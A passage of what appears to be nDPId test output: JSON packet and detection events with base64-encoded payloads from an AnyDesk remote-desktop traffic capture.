VaaNXHNl1i2h4ehH9JPCabAbmUXAdh1IoPLZJGosuHQpptgPw06DG5cr+G+FOwzgChcLLmSZMPp7NjsQbKMNBWGOpgekAUzqDTvd46Q+cU2E8KcUvOq\/MoIVjiggOQdRAptv558MFPVagRXT5wukvX9Dw\/lFaCe6lXIuQLQb+r7IjuKEs4TmnqBGCfbc7WpAmnXTxmjDZaZ6yUBtHPoZAIBrmPdUqh69JXxobXil5a4Dwhi0riqG1CUb1XGmZp+SkZ0NqB9yXpkmEciFe7WhcIkpFE2LcemvBNi6hz6ahu7TuGjU7MOYA\/E4S3QnfM+fkm9w6H6tIJgB0JldfADp863oetlog2Cpo7fJt38wMH1p5M7i5i2HdNsDpJO0U8uSr8eVKiTQFAgbmd6moMDk0z6XUsxSejeMd5Ul9KosMg2uaXkUFQ\/sBaYOPJTVYtRkJMvGClidMh2f+6P96tpM1fez\/hsZRet3I7J+NlcRgRtK+tCa6b3V\/w\/ZK+wM5TZ5eqJAkKFIdViHJrnCHkH2vGWlbSp+pjntwBvFoo8rfSCcC7ryBTl9AV6FwEAj+n09xuiUfXDc2VdCXjlnsAX3kZll5iru9I53n\/ERlfUD0OZ4QB2qxsLMPYM7EFBFmrCjb+yLYNuRhvDu4Cs\/pM7FbTbtbOw7ot\/emfrY1GGiXcITo7GisggdwjbRDNFl5XTL0\/m\/HEIkV5UjimsRvM8LY1D1tjX+VjX+pEduNQfW84pYZoTPMLaWcfmZ4x1BfkYnDaa97kpBFcjzwlfR6f\/xdJNYA8xSiLydT0AO9OTLFm2OuAofoJ5\/xIcRpNcnjBVLykrv1L8eDFkaAO8zt\/fYgl9qcC3aKRDIM0YGGLqtKSsKNRMkOecRoVZyHYzND7amyPTXpZZXNoVbOw26gsi59iBXEA3+ou\/3oPsaFC+cxtIUgfDd0ZEv0dtYI+eAbssHiVv2bcNjw8aE+lcLrhmYVanr\/MEwtMi0scCrpmSeI1oKY61xoCy0xNK3g7cH\/QOehMNgaqoT9aQlISaqj2MQFKMFJpxfmoi7+6mt5kCIeXc28RZSqk\/+j\/tFm6zHOk5cepEgdLdyhjwx70X9vFkV8qhXtR0gOHPIyX7f5y\/AesbHlzbLGEVlrnKKXvFwpHoLtf6Pr90c+LzY6+CtqJUlDagjajBCvxnUfnzWmHdw0LP2UPVMddV75c5quLYHHE+pstOYmyw41sSGiuunKEVnY1TqxSP9G0LmHM\/XrNqqQvQVUPT+IVCsiYvUu2\/iILFuXSNqMg0AJRPwtyTyjHRe2zL8qn6FNXRZU7XDaEVHbDYBpq2FcgSoQdJ\/P+LuJvhkySko9JgOh49ApiTXYQ9DIiYaMDUL4l7sJM81MWNh2fWyy0\/3j5JRz5d2TeLmY5QV17twLHO1I5RMmmJv+xJYA4NWYtL1dnoF6ayLcFx56SH19HBTQqUhSTofO5gqD6uDS\/THugwYBTE5hPVeaKjvodgXxTTCQwecoW5QTzzY6JpyL5q6VugWWiam0MqQM4sP8fxxgi8bVSQnwvns+x85M0S5OkMfFP+PM2WZeFsjug5oa7e904xAZXXuY8BxAIGC2aw0xvE2P2jSWRzsAV9vU2p+dRXl+1S0Vb1e3QiIDafuWFiaw0W8NTpNUeR+dmzUsgc\/9XoHnbmfdd\/61bLmOW9HnaN9aRcA1LpnAHFit9Y9dZtmIUgjLtnG+SlJKYpUcY5UcszRCacfaMCMmHUWReaQGk9xmlWbhbpaoNnqXSK6WaQ1xp+4SidXqBB1sVOu1fA8SHVV0RXiY\/4d1MaeuFVn1JEgQg5PCf7VfkbI5Y00hXZLFilZV5RSljFzUWXpaXRYj7OZY44So31mj9P7zb+uVGuln+SQC1iUxQMFJ\/0sCXJvqPqVEh4M5KQY4xDHmLsnTUwTSQr0Cvj56lkQY4JcOn5lVfwJYJ7\/zn0x17QPM\/9lxYJF0Rq4gLxiPSD+6lD6WBiBTsYW\/FibG4QI9IrSLAZf5zkD1uzvO28CzNJhWi01PkSIOZfaoOP6N42yo8+5veTj\/bxqg8asBkKNvEUjkhcXCmMuTgvUKceUwQvYYVjcQboLlP2E+CD56HVL6wd1hCgg2tmnPC1p8mc\/ogXIRSplbcMNnFwRCDtE+ex\/Uv1gPyZapYG2sCqHCOvujkvSXYE4HWf1Z+WhptD\/u8AD1Ik0QOV\/W720HYf+ytUaSmGHSl0ZUht4dBY9phikQIcogc5\/q3bZe\/3G1h4wwAh6ewJ02dQoynOaHfyBnYJROkkGy8kCOeuekyYfvm6jp6kgQa3AW0pQXNFWKLSeMfTiLMjwEH8q1B8iBhDTOx3vVLlPiUhlRPXanN9txSJ5JouiipdDL08\/QHkdTxCc+i4ZXRbJ27zSY2JwUWeWoVeJb+0z1ZMJ8UsjNv22YgCC56o7rBpdM7+o+nHJziAt+reh0Yp2SqU2IUf4JapiAy6GoCO+KPwA39hTslft2lJIraOk4L6gaHso9whp1BWU6x+M84jSkuWVacdVsaFVPXd\/2D4N7R+K6cCwdpwIZ8BV5WcNh9VL2xvSHpDgE5nZ5OwZBdvaRImt7I6xg5IzJIelnM4739tLHmrdWDcr96dZXyWrw\/z3dqFtEGlGhJMAK+lu8GsvH9UMGgLsRIVOA211ayR9kamUBVA+DSQ+5TWOmZysJqRZbBF5DYwvdmOhuPZxLLiBtFjDH3OMUk7QMEr9UbD5ukDiMNzsc8CgVo9Zmh6X+VcsrIefy6icd2ruB\/6scj+zPMYFQ5evjjRZ5u3gFVhy3Rx2kx94YSPtS6nyTB6R2ueWaXs0l9MAYN2qmTFWCfDEz2P2TsQniW8yHXoIULsHGqouhr9I+Lcf++baNKCCgj1dC3CS7S9F1tFLPasDSGv4xRjs8SUh+Ot5PrsdgjGyTSiHJn53xKs12RDLI3KBsT4mB9FD1NEpaOJH5LbBh4ttVFmK6c7qYba+89SPR4teWqsJGk6g+ahwgLSjalHLGd\/F0TWpSP2+f+DYa1EJgc3DnXMoLljX2WAiKiI\/bgyHtofuea03u5u5ILQole3LHaixtHPd\/Q5fP4E3lPj9UoCMLQMzT5nYwlAenUWYsA1V\/NFd00DOZULw7N2EGMhpF57l8ATSbfzCU9hWXQ6j2kJn8Lr7GCT\/j8hjAwzV9B1lKGgH6Z3NIoQFCpVkF\/4acp2jrjkEXCAwAAbCoJC+PPe\/TFr2kEPtb4fkb9K\/z84dmw6OvyZAfWKpEsiyp0Ks6jsGxOHqPA+cjHuIni5q8UEzbisZhXkG2K+3yNxVd9oTVcEOFv4nh9Kp4+mHgNFMCd+Y8ZlnqF1JgowS0GyvmlHj7ODctCKne+lC1PGsKYXY+GyKPslZqADl11t8SUxAmVKjgx+NjFKHMaBLuhRLX4tKRfif\/Q07o5m5WTnvU6i3+1J1GQ7UabvB5a7CiUEXuQslV\/UJAiD4HZZMkULrJRvCueCsgtfHQ7vikb9BWAUuF2+xgRre1mS1XlsnXB6wWIqd7u\/\/nysFrCtNoLOulR\/IbXas0UkBJc8pyC++X55wOGUMPyD7NKUbfx52mogFZOYho1J83ea5TLmbyJzkNoXI8TItMNs\/dfGpgnXS5p6LzNcqChKTu5WxTr+tWoW+SLGE0DmB8P88BpRRXzmrB5J5seAbjgK752AzGSQ0UZhSMIl8XbVbhCKzpwjlSjOrZCgBRyuWhjPLniJjH7A5sdjjzr\/AVCOYlJKRCheyCF\/oUVlfgbBi8b9F3HQIo0Oi5jCRJ7rsiB4wBc6X\/9c3XkbARtZNm1IAfgKJwEFnFx9+wIXjPQ4GmyOc9\/WAPZc66n2aEDbDTLSAJOHe5a\/6y0dQbZoVpDHduu1Qp6Awq+P\/o\/aCUp3v7ZfC9tVRSJb1lDhj51qJuSY\/XdrZDM8gg8WwiafwFtCkKuYdhiXmLwKem65OWnhoCHgEIP3cdhm9trLfSpCMDqqbCG623FTxWjczvyrBDLlVudsWNPJXJ94RQ50BZ\/CFbz3wgqB0ZVMvgvaFywmeHcQxRRiuDll4U0b17E9uxU+ailud5wl9vVi3ryUuBOQAnaPXa9wgLlqH8qLCZynDHSr5EIOvBd\/k\/pYWuHFEZCgCGYPROvlv2e55oVyHvmbKSgjt\/rdXNxRzK1c2tGjoxE11yJuVCH+zmeNxwuAjZmLAg7dWyGRVI2DGcs9\/uWIyVrYVzfWCdbo5C1YM0Yc2qXWa+XUhgHcRzgMpAmXt6VMzrH8ZoIJF9GBsznWPxbArR6seYC\/iD8pbPqqoHQGwVfPRCOM2oXtefrSOkXVuyhtZvgioEmNS+AojzqbWZ3hzeWODMpI+zo3YsiPZZhMSoweol9kMjAVgrb00mxA4RL2CP55fOU0J5\/D\/XR6kj0ErV1IRjWS9sq3zPgYohN+oIBpKzmiaMee2WElW3scXvMRjOIZB0bCYUZUaGEx86cSpqG5phTmqEUoBpXUvo3YalH6ODjN6fj3rVnO+uj0bqWB+lkROjYopPlOEee+jLdBr0y41xu2a9L\/qNRfLmhGukF\/aGyDUr4L9ldJwKcyn5gvbnsGNjBZ7yUCqndkcnXMb9VKvpkbDRxo9SllDJdg5z\/ygxx21HvfegO8Thq0\/fwWUEPV2MSENKcfStw7CTiE7hI+6\/pjMahALGgGGMWtd6HkGaAVpAOlqr7FN\/KLYX3LjOFnJy1Ih1lEH8lwLeG6RwPEKoQO5HsBoNa0qYn81sZ8sdZKrNfn6jAXibg74DC6ll4u5noYSe950m36gg7EGyLMsXf9b36OT68lCgmCve1pkh8AdmCL1hd2vY88d3K7zeEIEL5Ee80c0LXJGoPqUn8ttF1HM2Ayy7HTlO+AsQYBp7BWR8g4EIb\/eTt4XaitaA8MPCuhLD0BFlWjUSXMBy4HSJWo0ahYir4f82pr6w94YfbiV8lUy+elj1xDqPiCUqduujUw8FvzLzNK5WYYgjAa\/YYD9J3n9Veu3634vVZflBGQRZJoOuOpvxzx+uyENBaOTX0AT3z1EACEp1HaFD2He+r2GBkjBcWCMifv2auDGhCj\/JAJy7iYeYJGGcUhEiPIVpBjgZgV314gusLUklbeMJAAblQBueoOv9S4xhCZEHBXXyKmuoUTHRrrtdCw\/oidIWg7hURfYr2kDNgRKggkN\/ycgCZsJG21v40B8BB9RhvjEQA6gafDktpglKCuLGvQQUqY9u72fYPJlQ7EQzKezP6taNTrHMLIa34XuQpx07uaPfYakSKYcsU+yuc\/jET6UypTIKEoNtPYc\/jIrfIXAxlI2Q5YrA2lIPGorPqEhPI9+0qp41VAM6\/s7V\/bC8Tyogg6CqwhRzYkvYSeN9l\/IpX98JRJ7bJUNSo9Xrda55cHKbShB70QeBvLA0vuKnhIFNOHh2jXAaVoDIa8cUnqil82c+\/VGHG4PIaPRtqHcjC\/ktV0fzSwmGyp1\/ksi25RHkCcz2jKfmQKDTpzYvnDqU9ayPeRpY6I7l7j0Q2QuMmDzWw74kQeKVXizfpxBIeu3D6SBXLubDIJZFsb8DuuvMSII3Y382lD5h3vR6iD4LlzYkv5t8bM4uXo1LxzUot2Pt2\/A3RAcN0IItDO3wgFu5"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2055,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07846{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2057,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":985761,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg91AAIAGAADAqAG7wKgBstOUG56PMFASWcRHc1AYIBOExAAAFwMDFXdZ4hNO+msW5o4no2w55DkNRJ81kyAbX9dn2OVCEClRRbUCVyPGynCviQMmUI7j+bxyt0czZPWv+VxdH5HtaQvhV1KVOSHS9uGgwjCH58sw+GfA\/O03abl04ilvQJp7EA78kM6fdzrFncymS8XMDN1N481r2ddDtF4+0SHCi1idVdRDTuNeh0Sp1PPmLOPOwkVE1vjH2p+HwQxf\/9OXowSOLsvu40Ea4rIhzkgtQhmBfYJ0LdnmAB4Fz+4vdbFzAcu0rVnBdAGhzbT5H8AvPYa78FfZ3F5B0dBvKyeG566L1yu93rfm1yfeXBqFvNZxucuMkLBcUelIZs3Tf3VJI0djvIX1323XuZQlGSBi7A9TdvvpEgdxWAvF5qHDTGGZDTfYymryYI9H7m9b\/yKZLY0lhPsWLoGCJlK2bTktrt3y33Sl+NiiOP\/yLuxGTY1XPbOPIztiMvnCbtZFps1AE5nbP7QM640IEA37xL5i\/8uzn829ZPBqSC1NOzQKWeB5zl\/aLLUJgcA8VsK9y8dVtZ0Gx\/b2deZVjVMOOpQECRRTpS1MJTwm4OLwN7eFPjKDTtJRkYPiv7bzytDKoQ7z3LjdO9nQH8\/2+PF2f4frmTPtzHZZgvJ0EIcz5UGJ5NGX1tHZ\/o91daGnuUTCEDhSKVgIXHjtJxUHncoT74TLIxCxZhshwvPBQq8U5UXCVszjmV94VC9Bi51xRkc3YEs4q11IdUaQ1n6V7wWiMtAUgrpKDCzwMjWbgTWxm54ikQDuChSWeXObmQsYW31inuez3pLwq3yA0r2i4kHS4t2JBObg3uUhbkWSFSTQKaitegE6Ii5DkoNDVTdnITG6rGSDrtP7sPEJWeHr8wbi0KVn3YmAcM1pgcsq6ua503OTVDKm9TNLbwS5\/QhLD7op+Xa2RKSXfLBPP5rbZ+\/+siIlQTeTik5FjnKocP5R9of12cqFfj4GP2yp2BkvAtPEjhrdjV+iBiCJLLl7o8QhTZUBZqEJkZGXj+f20M0RoNlZpRCC9MisKxO4W9TrxwUqw1gQCubiax6QR4SW8+m3f0+OsST+VDF+y8XbOqQYcdBAiDm6rNQXAcuBYY9TcDs3nrAo5xQdGtPPH13bXRsW6AyhHCi3uPy95sTcBskf\/ZMll9N6iZjk6xmp+twAaOFV3WU\/lp0YniPsogkgk1ZSgm\/Qd\/grueSJmwizP3E0uZfvJlu0ofdIyDpCxiBOmNJcPo3D2dsbMklCV1E0CNNYpk7LFmve17iw\/OcPzN\/kUBf4UwHTQec8isK9O7hf0N+K2gnjo2tMenYG5eVaaDcdKbWpzTLlNisFv2mbhIYL1uPANjRTpLAN9A+mEkWDf3DodZpeREEc6xGdh9L7o6FOow2gdNl+JUdGXgkQ3cWPANUgVNvesjBebRgv4zYyxlkkqfiUay3TpddTERyWiv+PxKENq6X32UdkdKTvggpvx5LrbvTr6RPSYJibEaG3F8bZIy80q\/oRVUulbQLjMQZeOfJZ6AAQIczno1900BcYo8+f7\/p1WgKg+WwobqLAMnTQNwPqOyHgT8K311TGuTgSIrHFrBNEEjCLVMTig2+uSpAjnIX1Imf95mrTjpojdd26mdGNjqPJO\/y63SeL+yAajmkJnJawhQXC3X48QlDh31Gzzi\/gvfb3wIuAyBJ1usV+uiiDqOmymFXV4sjNa4CZjlL7WHdeC1Kuf8fma2+6w\/iuoN2jU4lZx+uQz1S8T2ri5QoCT5B7SEZoT1d64WTg4VKRLD2ugOHjOikPgUsjI9tbgnxWI9cHpPAdm6gL2+AbZg3o2h7LhHS+JUMcS89mpq1un1pnx566px1uQAWpaIiH0x\/WzlGBp3KGb8\/pFpFPXdtd79tk4p+Ap1d0Rd4HpG9bDWvO\/97gllUAt+9YIag6ALE2vbH+d8rSCweR70AAkZCybvkQswbyVNmafMD4o6UJa22dwBpXOafcMiOu31JJQdA+m8b1f\/UrrJb7u6WeZxd0Z8m7MXWsHxZ0XUDR1xQiEpLz2OYgRtKd1pc8ZOYctOKwOAXiwINOSh0AIHnlXgwxiYgXaGH6oidOBcROlfrnO1FvDtnrWtOCug0ipi6HsEcaKoCi\/QWUf5rO\/klmYSwQCYGywQGHq4cj4dIwmClZFKNYh\/k\/MQ6c1gzmqLMbugrpesQ8Xc1TSaDLnSIRP00o1vZI28WAby\/omhBRDwcrkc9utwo59aWumD9x0pZkreHQ37pUguggjFwRbf7vILMM5kmMGO2JvEZhjeDpUcm3b2XQIWA2lQsau9mRIv85i84AUv4LZZ7Th3yA7ANHOhNRZTrXqTmXKfG\/kn2dhZi3l2WqtJzRIxaSNoJl1pHPD7Lv+P4bxF5c5\/wV\/36yqg6rUnDl\/XaU3OPx2iD9XDymgB2ZIohbv5bK0b1jSylurKgg+kvDZswN\/bvfutKP3k16qIAYeMI37oUI7H1NvRktbUyrysNWdMqb\/QYaZ\/fv1r9cdLJKqlNijuFm6hSfXQOkGNWpV6qwG6HwZpvxoH5i\/Gxunpu5aXaJJUEhYA5Sx3KhVf8XEWB2X8BmqXspkYQv\/eTzNVqXh0br3BCj62iYnI0HqcyVv4Wm3Y1Fw0EadASkT3ot9MB3tYNsgvq6DQD5mxfA4peAOsDy9pQfIog2hhg41Sh0NypAmoKeAcVdJjYpopU21NT+\/oByOuVTK4aHwYwy\/4zlg9WA61Zt3Yxyxm1Vw2DpAQ217CFDyJ17ZOIA3HYed5vDHW8ntQqbFSMp3\/cJ2VM6EO+RFDt6cQwKR5SaNoqf4zOFUe04+Ph5YTQxeqOvTIQZzAiz+qz9LSillqw\/0cUJaWl972kJ7MfR91lAZ80+C8LMKsPTmrI3T9iAJ7SBXPnFYXkvMfOB6MMsZuZXVExR50dwd4ohonz\/JPLDCTP4U6VimO+VYfVeG\/eGq2Kg6O1V3cacHhI8UH6Qg\/mGlOpCCkWeOyOzqwKQE\/I770MaUCAfHBZqvYHbS2f9Dpm5uaqMdVuwbvdcJ7aMY8bxKcvFdqLqmbcR7JyIao4aL7qUE8w6bh6ONmjwXWEiSmZ6rp4y4\/scw0CAX0\/buGuhWW9LUJlCFojC9gCiVr1LLzF6nE5brTcQgzGR8o5NR4gMk2XahXzQqoQhCdKqee1EBRZV3nzWIGTCFel4V2KXjf4mo2wmZQElj5N\/rcxhOp0UQMQS3ppkF5TKROPXdab4QdCA+hnW34UFpn4Lfx8MR1pO1\/NkdLZYiLqz2e6dpTnFObHWDyrw74WoTTCBnOm2KoHrg3kms24IoKpqgF6ksJV136CUYT5WlomrL+\/pEZsj2R+4E0DWOxF9q46gkVLmAkJ1GvatOu2y3d0pX3DcOl3y6jNv1b9om3\/kbpBNyUbRr\/kQclO4wFOGoiyUbuSzeCvxbaDjzxdH7RV3avy2yjjMWUoAJ5L4aEhYBUQdJ6D57Z66uRB2WrPPHGHl\/oC5+fXm4cfsJ6dNVHnf9d+1S0iW2ZAVBF9NJpLFK9FRMQMN1lFtSXKoVkaDV40UNe4z9t9aJp06ATF1uvu1TTs7PhbjSQoUIu5QsFBQxUuOz6HMWV0chWL91wU\/7ccDavxyolfbXEJUuHGQKYAV6w40BDD\/BtCGeODGjJW4xbFsBGhLOT538q069mx2zDFwlkiJHgU7JTrgEEGwOWofJUmMiI9+6eFM8+apwCUxrKsyoYEr8Zt3u7VkanwKBdNGeen+pZTB\/wYcfy\/NmbSCTliqzxLqbLafly1sBG8Dd45HuYvE0d675iCPdyGF180kZIel0sQHCTFBm1jW0y67K9+6TFkF3nwqH4M9HHv63nL63KF9ZMHzLcERfrcrL5GAd16YsXV6O0\/b0Vas6pgDNVbmVUuJbi\/TBdGqRen6xbZl9bYJsA7UIzgduRyp28pMvWw3y6CsK9ckltGnuWnxyiOBWFAtIiuqEYL+dVlsW8jKNF\/JeNn0zwi4oZf1AbpCSjxOL7VC2kEla0EvfzM2nQ23voGmgLH5c0c8UCxQdmm6PDkAv3GjoGnVrDkd0SB5lgB9lXC+8QqNEI6xn0PqDvU2pWj\/rzmgvYyapkwcEbJyU\/ZFt3mkkqKq4Esww7OV6JMdUT2SR0a79Z3Pzt9IA04\/Iz3vI9VHxt6Fs5IiWLtQWcWHw1AB+Or8UZvJ7SBFkNAg3uz5TIUcK\/vewp7eREWmZZojBRLBm81FHdvqVRmNZ8IULRD23BIQAMMla5PkzeSa8cCoaOLZ0e4SwgUDpPlp\/w4uE8EBIVS4eZtmCwzYfJS5Fnrz8PmOTZBiSKtFVNUqYRFx9ejv9\/odUAp1MtMJP\/n0u9SYu4mc\/3\/WM7+iJInIBRsdrXYsyWUf93O6AoiTNTEWvvF3d733l94nYXqp6049xSH57CG60keju8tE12yrHjc\/xxGwWqGS9ygftXKkbP2OBDWdEy1dTeLkYhXpsoWtnaadlY+QMVzT+JW3ybg9pP9S0oO+bKzRe52IwpF\/fDyE6H82A0ZoC39MYxfl8YYrwFUnxqWKN3RSlwPus+hpsvL8aPVS6r52Q218Dbv92lTSFKYXdpbyiV2O56ne\/CEOQVdgUqBRP4VAqevRLBMonvjof0cgyVGI5Xqq5Y9nCDpPTszCcnOxlL6LRIJjcEZCNek6H2WyiiVr1P9cDVfs9lmdqb06L1XguMvNoP03BJ7EPhWhipsFxuzjyydh5U7dXvH8Wf\/3CiAUWH2hOiiBfzeZ74Ler3+Jn2iEY\/JQDvUHaZDsBekPqykU6nM25yawPVk+rifYqTiMhjA\/3sJwzzgQZwaJ+NOQNGatxjlZMUBEBBXyTFfuh+2WUvI3FzGdSAfkTOi36L3V9GcZoa\/zyhCXXRSUR8JkPvxbKLCCqHYTuX+7r3eUpJlmYrz0cQjMvcX5m72Dq2tzH4kI1g8fudT5di1rho7H3E4gCEgDpc3rnPh6boBJMpBqCNtb7w8NEi0vclP8Mne1cf3AHg8aIwvu0SWJ8Pg9n7Nf9R6YWcfCF3S1xgxiRRdE0BsEzAIeJ6Su+G9fzEBEiuWxRw0+KtxvqQwCQGU1xcMhpFgAZQ1txCyuR1UfxSa4EpNPUgNvSqCqwPZ9DznH02JXngoEcEwCJCB\/FdYkzTmy1JCcn2aIjLGULerKSvmAeMHZiGD4CfQNy7VBf9\/YFg60nFziHQQKBYLlbOU1RW\/uy1UnaFAHhm1Ur0ieadGcNuUTE9IY61Rp+trXIcfvvzXDDwwUu6H3Gqxxko1gjfu3TfuQCcMiGaURBr\/rrGixxTLA5YGLvz+Qqqt6n2SMKXqYFa\/YKnpNgRKYNoHJIR\/\/\/A3Gciime\/UtoZvQxNCQkzDe67Bs3IIQjrb7jzV0tvirmV9rHwEZ3x\/vtdm98fkYxfTx6ou2t1D8wemaLA8NKSl4FO0Tz1yZ40ZVzBqgeLvBwNy7b+6OJU2uEqDepesFq\/Cv6wGh0ALtJDeDxDpd6tQ7dnUCvhng59cLZBwmCRHmFiJhcRTkaJvg2vsrhkEkuw70PCiEZaP8ynOF9uWGtBvLb5r\/A1itlNPK\/dJF96Ur4NUhq1eGn\/X0ghqmYE95LvfK1xXAicd35LSyw5urOFPz\/cMc5Ux1UK46Tm1cDK3vh4+SZG7CIhEGiY\/jiEyzwetu34wPixwP+qqtVbccWiDWSLtW6ejbXhi\/82XJs0wby\/LrEyILUQ6KX8DTN\/mkfQkhWvrK9o9byaka\/Rt0Bp3LdJLkmaiOSyxZAT2HlyiuGL2mEs3hrupEuL7oTaTkrZy6oE87LbDXP8+uaj053qmkeFxQGiV2FYN083avEVb4yayRQaNPV1cIfGfazcF0Utux6GSu4\/RvxQABe+mEZTfdw7H5\/RfNz58CNxGN8cnHfTQS6KNNJIpC403R64rHZfTK9GJmBFlYaWJ0EPxKrh9+OowIPw9qSbT7Yq2NQH5Fc\/6NcCgsavGY3o0bXk2DPU8pyAq+EWet\/+5xTbCmLyMU6jpE\/lHYqfKNVYqFNQJiHN6PVxsHaAVjclW2nNlh7z57ivs7Ksz73r8\/2cQiQqbA7adhz2xkbmaMmSKbMKioVNft7gTSg\/IsOr0H35HfhCmZKCXS\/5rNyDnp+NyN368msjtcn79s2ijgnSKT4SbxMBJKMkIKatTi8fLd6pxK92Izx2H94poAOi5ISQ7DKDASYZLVw0dKB4pFq0qdb3EYsk\/t\/zprrrsK7e7S0C9pbBfzEhmlYLxtARha0\/jRigM6h8+RTJ31VQx+\/4s8YnfZi64IQevljomF62BFMZSPKIU3OrsmLdgXe5mOF9WKHc2Xvnc1O9uYUBzdj2S2RW1Gq6OPfjVvfMX\/GVW9ploo7\/c5eP8mGx91161wx1Cm+d\/+55AC\/IlNPFyeIOUstUgNyrjzt5+9ckPYD\/XMO96SqsWKI+kFjwkP3SbX7Lnto9LoA8EjAcjfDLckTlcDy\/titNYiDviHqOm+ZBOZz66pFg0uNjg7YXvMfhKx8uiJYlfVZ5fQLebxN\/l2SBuK97PUX3eAGz+mxhcs3pqonkjE2Pd76\/y0CWU5S86oNf\/VGgcI5OHWW5NdmPOZ5ERukAS7+MjKnUm\/JntWhFjeWgOQfinUswauwPxbi7GpWJAiEkyFFqq6nURhDyrvz\/juSybQHATuDuxf4b2Sr3RzRyKymwHYqAF80lYlfp6NmQLLZuBBP4pIPPe1eKaj2Njjw\/jL2CMBo3xyWeY0yfOcPN77MGg6DO9YwCrb7xi4vDMUcBoCFsIw0u52H4DfiKNA\/PzaPcJKd8Qcwz9GiTITA7CpYxJIKm7NijvtvgzFntZ6J+pyTJl36G6t71cuBIQY4iDYp4V2\/3dlXmhwD0SsbmTcjRTXy2tyz2M6OdZf9RU8QkJ7mPRBBSoSzo\/TiWDNhXXFelQYc9JoxEJtHy3s4AOTHTB3Et3G90282mrnTvm\/4r3musIWAfbiT6krUFid9hHU4REsW3dDsA2m2mya+BBd5+Jw+Z4JzSJkWT21w\/zeCoDdW8uE\/n0qfZmPmKkg2C3eML5sMqwJEI37SJoFjZbCP4PQ0h5CVb7GfSH4WYcKJFPrFNfvC8wAxMSuX\/WLldyDqYt3zs+cawhM3Y+9pfffNSv1pVDtEFdv7hlOdhH8uJg9Qd2v47+6noZXQB17PyY5rA8xkleQALvYJaLwVGPPFDCSTZTW9hL8kjMnRmd7bGpbD2dZLQCTYWttkkK1j5suIKaiJVagv2dnVYRowrFmlqftGde4HtdHeEN+tSdS+\/SjKHCKSxoUHLi7EdY\/QIZsA\/Uaq9ajUbHQnz4eD8FwelBfpnOK4hhI1w=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2057,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07815{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2063,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":14171,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhAlAAIAGAADAqAG7wKgBstOUG56PMGf4WcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW6AII77fG4S3cjMIKZu0Pxt7GdfO5gVDU5q8l9OSIEYbhB+XzLGIx4EvgrF0tP\/O3RCr8EqALOCnILc28Un3Aq6ZOrTd0soC5oGQ1n05UIoWcS8nb7rEl2x3LDpghM\/cVwbm8SDtI+6ARnCv+sb35LVBYWkETUyIXQ54clR4I72z3exRJg\/WDUhDit+oCKzaProp2gNWDW\/8M+b14IQE3J1ZQo4YeKP\/qD1HrcJKm1m+SYdNAppG5uanfH0RJvd7Jo0rJbSisK36veuYF5GSHSrHImzSID\/tr4dc0NB\/o8ap0SJhcaCb1OhBvsSQ7MlttdbXqRP5owPb3sWPTtUWKpYN\/g4WH2L+eTrQkKmIVLDIoB02tejPmPnP8x1FGyvloE3FcZz1ASHf2SjodA62a2XL6lrV2lxghYM4n7UMfqbZCWcWabOuiwxhIE9abJddW6tgConPZfbXtFVRUyOPO+YJ41lPkW5PdvD\/\/cP5\/Enx1t5ClgvErgqCYgcpbCj47j6zCdAKxJbZlrPZLI8+lFH+6CQ86Xf3it7HS\/2jp5uaP5ytQLlcpdIIkoaM\/hx1GsZwxB1BLAUs\/DI+SpzZfy1eaWEe6CjS31vATnlz0LdIaAj7Azk1+vs2zJSrBICKlku1apQpisuqxJSlUCVLcLMKfTstlPu6Kwfky0u13wRqQXAhedBz3rRz8ZwDA4sPXXIj9Gv1C2w1j2ay7BSQps4oXzFb3\/nnR4z8zZ+qUfoJEI5kM54m1uxxqcF8TIQURDqvimMpuqgGzQ8y\/aVgDkKBM5PyJva2+MRxJnRZCKEy388pfRnF6nEePjGMuadqg9UHzUzz3OV4eFmiAKJ7TgroHOjoiCKLn5LoAzHtt\/kItksxEaF2qP3pYgN\/LBz8GJke9yNveroLE61oNFqLYlj\/GzbrC8UmWdmJcq8NJafnGUELKqEFFs6kFmAjFCwtlK4ZeNQs8VscS\/jk10m6dN23vtbYq6h7RDlfT9FsCqARUNfcecl3Rfmo1dHTmIJ100OD0LKnTo7VW5J2qII0DrZzpL+8lqyPiAdvSghSadbWeWVO\/pt9q1XloRrWdcWELsShBmEQth1nyWqug0xE7JP3fOa1MdfVG7\/ViA1D3OWKslA8Bs9\/xvrPmcFMroAf18H7cclwsm\/B6dIk2b7ZAnC6rr5axSJ2Zzkp1WzaIefLRkdefH6\/izVRh2IiFK1e7n\/m+ctlUMMnNp8hnp9z9NG1KdXtI53IAJncIbeSqSbTkosue07e7R8bZm5dy4Kqb2P2zvVPYviwVd6EkOT42W2N93Kz6DBdR2BvaIhFaXRqPrxP5UzBsECZGCu1a+4MjN0xS5S6Sb6hFhViLH3JMand1Fc1xWWIPUdqIkqt3hM6e1Q7T+ZYBeZnNptixoetqk\/se92RpIMKwWjitY3YNFhW8UCZqpHMQru\/P80qrL9h3j8GUA0xbPLi2wCzvN9+2+YJW9RkJg05qS8koJpKb9P7jvxNjfsGy\/g2DxJkrYAyvLymSBXB4aQu+hT51V6U39rHFzvs+jG7X1J7BhivvEiObXPh\/tI8ahGawd8eL\/DZlJ5wCxMnEz1km4mMsRrUVAkOuBRayAgEXwOIcYh+eeR\/L0JYZGTiHO4Odtv1NNcmW3+PQsnbFyMiO33JzQ96FNU9RWkhCkLb2jMwVkZOmIS1kTiO5wauxw5oJYrgxCcA2JlW52JcJiUHvueUuvXZ\/p+tz\/LqR789m1VPGtjBlNyTf1ddOyiIqzrlGGBO4JFxi1W